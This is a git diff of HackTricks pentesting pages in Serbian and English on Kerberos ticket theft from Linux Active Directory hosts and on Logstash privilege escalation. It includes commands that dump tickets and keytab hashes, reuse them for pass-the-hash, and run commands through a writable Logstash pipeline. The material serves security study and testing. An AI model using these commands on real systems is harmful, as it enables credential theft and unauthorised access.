<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Linux Active Directory
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Linux mašina takođe može biti prisutna unutar okruženja Active Directory.
|
||||
Linux mašina može biti prisutna unutar Active Directory okruženja.
|
||||
|
||||
Linux mašina u AD-u može **čuvati različite CCACHE tikete unutar fajlova. Ovi tiketi mogu biti korišćeni i zloupotrebljeni kao i bilo koji drugi kerberos tiket**. Da biste pročitali ove tikete, morate biti vlasnik tiketa ili **root** unutar mašine.
|
||||
Linux mašina u AD može **čuvati različite CCACHE karte unutar fajlova. Ove karte se mogu koristiti i zloupotrebljavati kao i svaka druga kerberos karta**. Da biste pročitali ove karte, potrebno je da budete korisnik vlasnik karte ili **root** unutar mašine.
|
||||
|
||||
## Enumeracija
|
||||
## Enumeration
|
||||
|
||||
### Enumeracija AD-a sa linux-a
|
||||
### AD enumeracija sa linux-a
|
||||
|
||||
Ako imate pristup AD-u na linux-u (ili bash-u na Windows-u), možete pokušati [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) da biste enumerisali AD.
|
||||
Ako imate pristup AD-u na linux-u (ili bash-u u Windows-u), možete probati [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) da enumerirate AD.
|
||||
|
||||
Takođe možete proveriti sledeću stranicu da biste saznali **druge načine enumeracije AD-a sa linux-a**:
|
||||
Takođe možete proveriti sledeću stranicu da biste naučili **druge načine za enumeraciju AD-a sa linux-a**:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -30,27 +33,27 @@ Takođe možete proveriti sledeću stranicu da biste saznali **druge načine enu
|
|||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA je open-source **alternativa** za Microsoft Windows **Active Directory**, uglavnom za **Unix** okruženja. Kombinuje potpuni **LDAP direktorijum** sa MIT **Kerberos** Key Distribution Centrom za upravljanje slično kao Active Directory. Koristi Dogtag **Certificate System** za upravljanje CA & RA sertifikatima, podržava **multi-factor** autentifikaciju, uključujući pametne kartice. SSSD je integrisan za Unix autentifikacione procese. Saznajte više o tome u:
|
||||
FreeIPA je open-source **alternativa** za Microsoft Windows **Active Directory**, uglavnom za **Unix** okruženja. Kombinuje kompletnu **LDAP direktoriju** sa MIT **Kerberos** Centrom za distribuciju ključeva za upravljanje sličnim Active Directory. Koristi Dogtag **Sistem sertifikata** za upravljanje CA i RA sertifikatima, podržava **multi-factor** autentifikaciju, uključujući pametne kartice. SSSD je integrisan za Unix procese autentifikacije. Saznajte više o tome u:
|
||||
|
||||
{% content-ref url="../freeipa-pentesting.md" %}
|
||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Igranje sa tiketima
|
||||
## Igra sa kartama
|
||||
|
||||
### Pass The Ticket
|
||||
|
||||
Na ovoj stranici ćete pronaći različita mesta gde biste mogli **pronaći kerberos tikete unutar linux hosta**, na sledećoj stranici možete naučiti kako pretvoriti ove CCache tikete u Kirbi format (format koji je potreban za Windows) i takođe kako izvesti PTT napad:
|
||||
Na ovoj stranici ćete pronaći različita mesta gde možete **pronaći kerberos karte unutar linux hosta**, na sledećoj stranici možete naučiti kako da transformišete formate ovih CCache karata u Kirbi (format koji treba da koristite u Windows-u) i takođe kako da izvršite PTT napad:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
||||
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CCACHE tiket ponovna upotreba iz /tmp
|
||||
### CCACHE ponovna upotreba iz /tmp
|
||||
|
||||
CCACHE fajlovi su binarni formati za **čuvanje Kerberos akreditiva** i obično se čuvaju sa 600 dozvolama u `/tmp`. Ovi fajlovi se mogu identifikovati po svom **formatu imena, `krb5cc_%{uid}`,** koji se odnosi na UID korisnika. Za verifikaciju autentifikacionog tiketa, **okružna promenljiva `KRB5CCNAME`** treba biti postavljena na putanju željenog fajla sa tiketom, omogućavajući njegovu ponovnu upotrebu.
|
||||
CCACHE fajlovi su binarni formati za **čuvanje Kerberos kredencijala** i obično se čuvaju sa 600 dozvolama u `/tmp`. Ovi fajlovi se mogu identifikovati po svom **formatu imena, `krb5cc_%{uid}`,** koji se odnosi na UID korisnika. Za verifikaciju autentifikacione karte, **promenljiva okruženja `KRB5CCNAME`** treba da bude postavljena na putanju željenog fajla karte, omogućavajući njenu ponovnu upotrebu.
|
||||
|
||||
Prikažite trenutni tiket koji se koristi za autentifikaciju sa `env | grep KRB5CCNAME`. Format je prenosiv i tiket se može **ponovno koristiti postavljanjem okružne promenljive** sa `export KRB5CCNAME=/tmp/ticket.ccache`. Format imena Kerberos tiketa je `krb5cc_%{uid}` gde je uid UID korisnika.
|
||||
Prikazivanje trenutne karte koja se koristi za autentifikaciju sa `env | grep KRB5CCNAME`. Format je prenosiv i karta se može **ponovo koristiti postavljanjem promenljive okruženja** sa `export KRB5CCNAME=/tmp/ticket.ccache`. Format imena kerberos karte je `krb5cc_%{uid}` gde je uid UID korisnika.
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
|
@ -59,73 +62,74 @@ krb5cc_1000
|
|||
# Prepare to use it
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
### Ponovna upotreba CCACHE karata iz keyringa
|
||||
### CCACHE ticket reuse from keyring
|
||||
|
||||
**Kerberos karte koje su pohranjene u memoriji procesa mogu se izvući**, posebno kada je onemogućena zaštita ptrace na mašini (`/proc/sys/kernel/yama/ptrace_scope`). Korisni alat za tu svrhu može se pronaći na [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), koji olakšava izvlačenje ubrizgavanjem u sesije i ispisivanjem karata u `/tmp`.
|
||||
**Kerberos karte pohranjene u memoriji procesa mogu biti ekstraktovane**, posebno kada je zaštita ptrace na mašini onemogućena (`/proc/sys/kernel/yama/ptrace_scope`). Koristan alat za ovu svrhu se može naći na [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), koji olakšava ekstrakciju injektovanjem u sesije i dumpovanjem karata u `/tmp`.
|
||||
|
||||
Da biste konfigurisali i koristili ovaj alat, sledite korake u nastavku:
|
||||
Da bi se konfigurisao i koristio ovaj alat, sledeći koraci se prate:
|
||||
```bash
|
||||
git clone https://github.com/TarlogicSecurity/tickey
|
||||
cd tickey/tickey
|
||||
make CONF=Release
|
||||
/tmp/tickey -i
|
||||
```
|
||||
Ovaj postupak će pokušati da ubaci u različite sesije, što ukazuje na uspeh čuvanjem izvučenih karata u `/tmp` sa konvencijom imenovanja `__krb_UID.ccache`.
|
||||
Ova procedura će pokušati da injektuje u različite sesije, označavajući uspeh čuvanjem ekstrahovanih karata u `/tmp` sa konvencijom imenovanja `__krb_UID.ccache`.
|
||||
|
||||
### CCACHE ponovna upotreba karata iz SSSD KCM
|
||||
|
||||
### Ponovna upotreba CCACHE karte iz SSSD KCM
|
||||
|
||||
SSSD održava kopiju baze podataka na putanji `/var/lib/sss/secrets/secrets.ldb`. Odgovarajući ključ se čuva kao skrivena datoteka na putanji `/var/lib/sss/secrets/.secrets.mkey`. Podrazumevano, ključ je čitljiv samo ako imate **root** dozvole.
|
||||
SSSD održava kopiju baze podataka na putanji `/var/lib/sss/secrets/secrets.ldb`. Odgovarajući ključ se čuva kao skriveni fajl na putanji `/var/lib/sss/secrets/.secrets.mkey`. Po defaultu, ključ je čitljiv samo ako imate **root** dozvole.
|
||||
|
||||
Pozivanje \*\*`SSSDKCMExtractor` \*\* sa parametrima --database i --key će analizirati bazu podataka i **dekriptovati tajne**.
|
||||
```bash
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
**Kerberos bloba keširanog akreditiva može se pretvoriti u upotrebljiv Kerberos CCache** fajl koji se može proslediti Mimikatz/Rubeus alatima.
|
||||
**Keš kredencijala Kerberos blob može biti konvertovan u upotrebljiv Kerberos CCache** fajl koji se može proslediti Mimikatz/Rubeus.
|
||||
|
||||
### Ponovna upotreba CCACHE tiketa iz keytab fajla
|
||||
### CCACHE ponovna upotreba karte iz keytab-a
|
||||
```bash
|
||||
git clone https://github.com/its-a-feature/KeytabParser
|
||||
python KeytabParser.py /etc/krb5.keytab
|
||||
klist -k /etc/krb5.keytab
|
||||
```
|
||||
### Izdvajanje naloga iz /etc/krb5.keytab
|
||||
### Izvlačenje naloga iz /etc/krb5.keytab
|
||||
|
||||
Ključevi servisnih naloga, koji su neophodni za servise koji rade sa privilegijama root-a, bezbedno se čuvaju u datotekama **`/etc/krb5.keytab`**. Ovi ključevi, slični lozinkama za servise, zahtevaju strogu poverljivost.
|
||||
Ključevi servisnih naloga, koji su neophodni za usluge koje rade sa root privilegijama, sigurno su pohranjeni u **`/etc/krb5.keytab`** datotekama. Ovi ključevi, slični lozinkama za usluge, zahtevaju strogu poverljivost.
|
||||
|
||||
Za pregled sadržaja keytab datoteke, može se koristiti alatka **`klist`**. Ovaj alat prikazuje detalje ključeva, uključujući i **NT Hash** za autentifikaciju korisnika, posebno kada je tip ključa identifikovan kao 23.
|
||||
Da biste pregledali sadržaj keytab datoteke, može se koristiti **`klist`**. Ovaj alat je dizajniran da prikaže detalje ključeva, uključujući **NT Hash** za autentifikaciju korisnika, posebno kada je tip ključa identifikovan kao 23.
|
||||
```bash
|
||||
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
||||
# Output includes service principal details and the NT Hash
|
||||
```
|
||||
Za Linux korisnike, **`KeyTabExtract`** nudi funkcionalnost za izvlačenje RC4 HMAC heša, koji se može iskoristiti za ponovnu upotrebu NTLM heša.
|
||||
Za Linux korisnike, **`KeyTabExtract`** nudi funkcionalnost za ekstrakciju RC4 HMAC haša, koji se može iskoristiti za ponovnu upotrebu NTLM haša.
|
||||
```bash
|
||||
python3 keytabextract.py krb5.keytab
|
||||
# Expected output varies based on hash availability
|
||||
```
|
||||
Na macOS-u, **`bifrost`** služi kao alat za analizu keytab fajlova.
|
||||
Na macOS-u, **`bifrost`** služi kao alat za analizu keytab datoteka.
|
||||
```bash
|
||||
./bifrost -action dump -source keytab -path /path/to/your/file
|
||||
```
|
||||
Koristeći izvučene informacije o nalogu i hešu, moguće je uspostaviti konekcije sa serverima koristeći alate poput **`crackmapexec`**.
|
||||
Korišćenjem ekstraktovanih informacija o nalogu i hešu, mogu se uspostaviti veze sa serverima koristeći alate kao što je **`crackmapexec`**.
|
||||
```bash
|
||||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||
```
|
||||
## Reference
|
||||
|
||||
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,25 +1,30 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Logstash
|
||||
|
||||
Logstash se koristi za **sakupljanje, transformisanje i slanje logova** kroz sistem poznat kao **pipelines**. Ovi pipelines se sastoje od **input**, **filter** i **output** faza. Interesantan aspekt se javlja kada Logstash radi na kompromitovanoj mašini.
|
||||
Logstash se koristi za **prikupljanje, transformaciju i slanje logova** kroz sistem poznat kao **pipelines**. Ove pipelines se sastoje od **input**, **filter** i **output** faza. Zanimljiv aspekt se javlja kada Logstash radi na kompromitovanoj mašini.
|
||||
|
||||
### Konfiguracija Pipelines-a
|
||||
### Pipeline Configuration
|
||||
|
||||
Pipelines se konfigurišu u fajlu **/etc/logstash/pipelines.yml**, koji navodi lokacije konfiguracija pipelines-a:
|
||||
Pipelines se konfigurišu u datoteci **/etc/logstash/pipelines.yml**, koja navodi lokacije konfiguracija pipelines:
|
||||
```yaml
|
||||
# Define your pipelines here. Multiple pipelines can be defined.
|
||||
# For details on multiple pipelines, refer to the documentation:
|
||||
|
@ -31,21 +36,21 @@ path.config: "/etc/logstash/conf.d/*.conf"
|
|||
path.config: "/usr/share/logstash/pipeline/1*.conf"
|
||||
pipeline.workers: 6
|
||||
```
|
||||
Ovaj fajl otkriva gde se nalaze **.conf** fajlovi koji sadrže konfiguracije cevovoda. Kada se koristi **Elasticsearch output modul**, često je uobičajeno da **cevovodi** uključuju **Elasticsearch akreditive**, koji često imaju proširene privilegije zbog potrebe Logstash-a da piše podatke u Elasticsearch. Džokere u putanjama konfiguracije omogućavaju Logstash-u da izvrši sve odgovarajuće cevovode u određenom direktorijumu.
|
||||
Ovaj fajl otkriva gde se nalaze **.conf** fajlovi, koji sadrže konfiguracije pipeline-a. Kada se koristi **Elasticsearch output module**, uobičajeno je da **pipelines** uključuju **Elasticsearch credentials**, koje često imaju opsežne privilegije zbog potrebe Logstash-a da piše podatke u Elasticsearch. Wildcard-ovi u konfiguracionim putanjama omogućavaju Logstash-u da izvrši sve odgovarajuće pipeline-ove u određenom direktorijumu.
|
||||
|
||||
### Eskalacija privilegija putem upisivih cevovoda
|
||||
### Eskalacija privilegija putem zapisivih pipeline-a
|
||||
|
||||
Da biste pokušali eskalaciju privilegija, prvo identifikujte korisnika pod kojim se izvršava Logstash servis, obično korisnika **logstash**. Proverite da ispunjavate **jedan** od ovih kriterijuma:
|
||||
Da biste pokušali eskalaciju privilegija, prvo identifikujte korisnika pod kojim Logstash servis radi, obično korisnika **logstash**. Uverite se da ispunjavate **jedan** od ovih kriterijuma:
|
||||
|
||||
- Imate **pristup za pisanje** fajlu **.conf** cevovoda **ili**
|
||||
- Fajl **/etc/logstash/pipelines.yml** koristi džokere, i možete pisati u ciljni folder
|
||||
- Imate **pristup za pisanje** u **.conf** fajl pipeline-a **ili**
|
||||
- **/etc/logstash/pipelines.yml** fajl koristi wildcard, i možete pisati u ciljni folder
|
||||
|
||||
Dodatno, mora biti ispunjen **jedan** od sledećih uslova:
|
||||
Pored toga, **jedan** od ovih uslova mora biti ispunjen:
|
||||
|
||||
- Mogućnost restartovanja Logstash servisa **ili**
|
||||
- Fajl **/etc/logstash/logstash.yml** ima postavljenu opciju **config.reload.automatic: true**
|
||||
- Mogućnost ponovnog pokretanja Logstash servisa **ili**
|
||||
- **/etc/logstash/logstash.yml** fajl ima **config.reload.automatic: true** postavljeno
|
||||
|
||||
Uzimajući u obzir džokere u konfiguraciji, kreiranje fajla koji odgovara ovom džokeru omogućava izvršavanje komandi. Na primer:
|
||||
S obzirom na wildcard u konfiguraciji, kreiranje fajla koji odgovara ovom wildcard-u omogućava izvršavanje komandi. Na primer:
|
||||
```bash
|
||||
input {
|
||||
exec {
|
||||
|
@ -61,25 +66,31 @@ codec => rubydebug
|
|||
}
|
||||
}
|
||||
```
|
||||
Ovde, **interval** određuje učestalost izvršavanja u sekundama. U datom primeru, komanda **whoami** se izvršava svakih 120 sekundi, a njen izlaz se usmerava u **/tmp/output.log**.
|
||||
Ovde, **interval** određuje učestalost izvršavanja u sekundama. U datom primeru, **whoami** komanda se izvršava svake 120 sekundi, a njen izlaz se usmerava u **/tmp/output.log**.
|
||||
|
||||
Sa **config.reload.automatic: true** u **/etc/logstash/logstash.yml**, Logstash će automatski detektovati i primeniti nove ili izmenjene konfiguracije cevovoda bez potrebe za ponovnim pokretanjem. Ako nema džokera, i dalje je moguće izmeniti postojeće konfiguracije, ali se savetuje oprez kako bi se izbegle prekide.
|
||||
Sa **config.reload.automatic: true** u **/etc/logstash/logstash.yml**, Logstash će automatski otkriti i primeniti nove ili izmenjene konfiguracije cevi bez potrebe za ponovnim pokretanjem. Ako nema džokera, izmene se i dalje mogu praviti na postojećim konfiguracijama, ali se savetuje oprez kako bi se izbegle smetnje.
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
|
||||
## References
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,37 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
